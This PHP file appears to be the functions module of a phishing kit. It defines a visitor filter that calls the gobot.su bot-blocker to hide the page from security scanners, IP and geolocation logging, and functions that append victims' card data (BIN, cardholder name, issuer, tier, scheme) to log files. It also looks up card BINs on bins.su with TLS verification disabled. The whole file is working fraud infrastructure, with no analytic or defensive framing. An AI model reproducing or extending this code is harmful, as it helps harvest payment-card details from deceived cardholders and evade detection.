<?php
ob_start();
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
ini_set('log_errors', 1);

$configPath = __DIR__ . '/config.json';
$config = json_decode(file_get_contents($configPath), true);

$acceptedIpsFile = __DIR__ . '/../logs/accept-ips.txt';
$deniedIpsFile = __DIR__ . '/../logs/denied-ips.txt';
$ipsFile = __DIR__ . '/../logs/ips.txt';

if (!isset($_SESSION['country_datas'])) {
    $_SESSION['country_datas'] = null;
}
$lang[null] = [];

function gobotblocker($ip, $ua, $param)
{
    global $config;

    if (!isset($config['gobot_status']) || strtolower($config['gobot_status']) !== 'on') {
        return ['is_bot' => false];
    }

    if (empty($config['gobot_key'])) {
        return ['is_bot' => false];
    }

    $device = detectDevice();

    $postData = [
        'ip'     => $ip,
        'apikey' => $config['gobot_key'],
        'ua'     => $ua,
        'url'    => $param,
        'reff'   => ''
    ];

    $ch = curl_init('https://gobot.su/api/v1/blocker');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Site-Blocker/1.0');

    $response = curl_exec($ch);
    $error = curl_error($ch);
    curl_close($ch);

    if ($error || empty($response)) {
        file_put_contents(__DIR__ . "/debug.log", "GOBOT API error: $error" . PHP_EOL, FILE_APPEND);
        return ['is_bot' => false];
    }
    
    file_put_contents(__DIR__ . "/debug.log", "RAW GOBOT RESPONSE: " . $response . PHP_EOL, FILE_APPEND);
    
    $data = json_decode($response, true);
    if (!is_array($data)) {
        error_log("GOBOT API invalid JSON: $response");
        return ['is_bot' => false];
    }
    
    error_log("GOBOT API location: " . print_r($data['location'] ?? [], true));

    $location = $data['location'] ?? [];
    $reason = !empty($data['reason']) ? $data['reason'] : 'Unknown';
    $threat = !empty($data['threat']) ? $data['threat'] : 'Unknown';
    $type   = !empty($data['type'])   ? $data['type']   : 'human';
    $action = !empty($data['action']) ? $data['action'] : 'allow';
    
    $success = isset($data['success']) ? $data['success'] : true;
    
    $isBot = (
        strtolower($action) === 'block' ||
        strtolower($type) === 'bot' ||
        $success === false
    );

    return [
        'is_bot'   => $isBot,
        'ip'       => $ip,
        'useragent'=> $ua,
        'device'   => $device,
        'action'   => $action,
        'reason'   => $reason,
        'type'     => $type,
        'threat'   => $threat,
        'location' => [
            'city'         => $location['city'] ?? 'Unknown',
            'region'       => $location['region'] ?? 'Unknown',
            'country'      => $location['country'] ?? 'Unknown',
            'country_code' => $location['country_code'] ?? 'Unknown',
            'zipcode'      => $location['zipcode'] ?? 'Unknown',
            'flag'         => $location['flag'] ?? 'Unknown',
            'isp'          => $location['isp'] ?? 'Unknown',
            'phone_code'   => $location['phone_code'] ?? 'Unknown'
        ]
    ];
}

function detectDevice() {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT']);

    if (preg_match('/tablet|ipad|playbook|(android(?!.*(mobi|opera mini)))/i', $ua)) {
        return 'tablet';
    }

    if (preg_match('/mobile|iphone|ipod|android.*mobile|windows phone|blackberry/i', $ua)) {
        return 'mobile';
    }

    return 'desktop';
}

function checkIpStatus($ip)
{
    global $acceptedIpsFile, $deniedIpsFile;

    $acceptedIps = file_exists($acceptedIpsFile) ? file($acceptedIpsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];
    $deniedIps = file_exists($deniedIpsFile) ? file($deniedIpsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];

    if (in_array($ip, $acceptedIps)) return 'accepted';
    if (in_array($ip, $deniedIps)) return 'denied';
    return 'unknown';
}

function loginAndCardSave($ip, $namafile) {
    if (!is_dir(__DIR__ . '/../logs/')) {
        mkdir(__DIR__ . '/../logs/', 0777, true);
    }
    
    $file = __DIR__ . '/../logs/'.$namafile;
    file_put_contents($file, $ip.'|'.date('Y-m-d') . PHP_EOL, FILE_APPEND);
}

function cardDetailsLogs($ip, $bin, $nama, $issuer, $cardtier, $scheme, $type, $namafile) {
    if (!is_dir(__DIR__ . '/../logs/')) {
        mkdir(__DIR__ . '/../logs/', 0777, true);
    }
    
    $date = date('H:i:s m-d-Y');
    
    $file = __DIR__ . '/../logs/'.$namafile;
    file_put_contents($file, "$date|$ip|$nama|$bin|$issuer|$cardtier|$scheme|$type". PHP_EOL, FILE_APPEND);
}

function saveDataCard($data) {
    $file = __DIR__ . '/../logs/data_webshop_logs.txt';
    file_put_contents($file, $data . PHP_EOL, FILE_APPEND);
}

function getDeviceAndBrowser() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $device = "Unknown Device";
    $browser = "Unknown Browser";

    if (strpos($userAgent, 'iPhone') !== false) {
        $device = "iPhone";
    } elseif (strpos($userAgent, 'iPad') !== false) {
        $device = "iPad";
    } elseif (strpos($userAgent, 'Android') !== false) {
        $device = "Android";
    } elseif (strpos($userAgent, 'Windows NT') !== false) {
        $device = "Windows";
    } elseif (strpos($userAgent, 'Macintosh') !== false) {
        $device = "Mac";
    }

    if (strpos($userAgent, 'Chrome') !== false) {
        $browser = "Chrome";
    } elseif (strpos($userAgent, 'Safari') !== false) {
        $browser = "Safari";
    } elseif (strpos($userAgent, 'Opera') !== false) {
        $browser = "Opera";
    } elseif (strpos($userAgent, 'Firefox') !== false) {
        $browser = "Firefox";
    } elseif (strpos($userAgent, 'Edge') !== false) {
        $browser = "Edge";
    }

    return [
        'device' => $device,
        'browser' => $browser,
        'user_agent' => $userAgent
    ];
}

function getCardDetailsFromBIN($bin) {
    $url = "https://bins.su/";
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

    $headers = array(
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
        "Accept-Language: en-US,en;q=0.8",
        "Cache-Control: max-age=0",
        "Connection: keep-alive",
        "Content-Type: application/x-www-form-urlencoded",
        "Origin: https://bins.su/",
        "Referer: https://bins.su/",
        "Sec-Fetch-Dest: document",
        "Sec-Fetch-Mode: navigate",
        "Sec-Fetch-Site: same-origin",
        "Sec-Fetch-User: ?1",
        "Sec-GPC: 1",
        "Upgrade-Insecure-Requests: 1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, seperti Gecko) Chrome/119.0.0.0 Safari/537.36",
        "sec-ch-ua: 'Brave';v='119', 'Chromium';v='119', 'Not?A_Brand';v='24'",
        "sec-ch-ua-mobile: ?0",
        "sec-ch-ua-platform: 'Windows'",
    );
    curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);

    $postData = "action=searchbins&bins=$bin&bank=&country=";
    curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

    $resp = curl_exec($curl);
    if (curl_errno($curl)) {
        echo 'Curl error: ' . curl_error($curl);
    }

    curl_close($curl);

    if (empty($resp)) {
        return null;
    }

    $pattern = '#</tr><tr><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td>#s';
    preg_match($pattern, $resp, $matches);

    if (empty($matches)) {
        return null; 
    }

    return [
        'issuer'    => !empty($matches[6]) ? $matches[6] : "unknown bank",
        'card_tier' => !empty($matches[3]) ? $matches[3] : "unknown brand",
        'scheme'    => !empty($matches[4]) ? $matches[4] : "unknown type",
        'type'      => !empty($matches[6]) ? $matches[6] : "unknown bank"
    ];
}

function getDevice() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    if (strpos($userAgent, 'Android') !== false) return 'Android';
    elseif (strpos($userAgent, 'iPhone') !== false) return 'iPhone';
    elseif (strpos($userAgent, 'iPad') !== false) return 'iPad';
    elseif (strpos($userAgent, 'Windows NT') !== false) return 'Windows';
    elseif (strpos($userAgent, 'Macintosh') !== false) return 'Mac';
    return 'Unknown Device';
}

function getBrowser() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    if (strpos($userAgent, 'Chrome') !== false) return 'Chrome';
    elseif (strpos($userAgent, 'Firefox') !== false) return 'Firefox';
    elseif (strpos($userAgent, 'Safari') !== false) return 'Safari';
    elseif (strpos($userAgent, 'Opera') !== false) return 'Opera';
    elseif (strpos($userAgent, 'Edge') !== false) return 'Edge';
    return 'Unknown Browser';
}

function saveIp($fileName, $ip)
{
    if (!file_exists($fileName)) file_put_contents($fileName, '');
    $fileContent = file($fileName, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    
    if (!in_array($ip, $fileContent)) {
        file_put_contents($fileName, $ip.'|'.date('Y-m-d') . PHP_EOL, FILE_APPEND);
    }
}

function saveIpData($ipData, $logs = '')
{
    global $ipsFile;

    $date = date('H:i:s m-d-Y');
    $device = getDevice();
    $browser = getBrowser();

    $ipRecord = "{$date}|{$ipData['ip']}|{$ipData['city']}|{$ipData['region']}|{$ipData['country']}|$browser|$device|{$ipData['userAgent']}|{$logs}";

    if (!file_exists($ipsFile)) {
        file_put_contents($ipsFile, '');
    }

    file_put_contents($ipsFile, $ipRecord . PHP_EOL, FILE_APPEND);
}

function generateRandomString($length = 30) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}